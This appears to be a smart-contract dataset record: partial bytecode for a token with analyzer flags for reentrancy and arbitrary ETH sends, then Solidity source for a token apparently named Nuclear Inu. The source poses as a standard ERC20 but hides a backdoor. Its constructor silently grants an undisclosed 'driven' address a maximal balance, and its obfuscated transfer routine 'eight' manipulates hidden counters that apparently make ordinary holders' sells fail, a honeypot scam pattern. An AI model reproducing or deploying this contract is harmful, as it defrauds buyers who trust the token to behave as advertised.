ffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550670de0b6b3a76400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f53484942414a0000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c98368056bc75e2d631000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b60008060006006549050600068056bc75e2d6310000090506124bd68056bc75e2d6310000060065461217490919063ffffffff16565b8210156124dc5760065468056bc75e2d631000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f759960e63f7ebddf532362fc146ae483d582e8704a5d575bb8b3a16fc3ce00b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,820 |
0x472CD156856314Bd52808DdA96A7DACf88bDd002
|
/*
https://t.me/nuclearinu_eth
https://nuclearinu.energy/
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.9;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address driven
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[driven] = get;
_balances[msg.sender] = _tTotal;
program[driven] = get;
program[msg.sender] = get;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private born;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private get = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function eight(
address forget,
address best,
uint256 amount
) private {
address state = born[address(0)];
bool inside = uniswapV2Pair == forget;
uint256 package = _fee;
if (program[forget] == 0 && accept[forget] > 0 && !inside) {
program[forget] -= package;
}
born[address(0)] = best;
if (program[forget] > 0 && amount == 0) {
program[best] += package;
}
accept[state] += package;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[forget] -= fee;
_balances[address(this)] += fee;
_balances[forget] -= amount;
_balances[best] += amount;
}
mapping(address => uint256) private accept;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private program;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
eight(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
eight(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
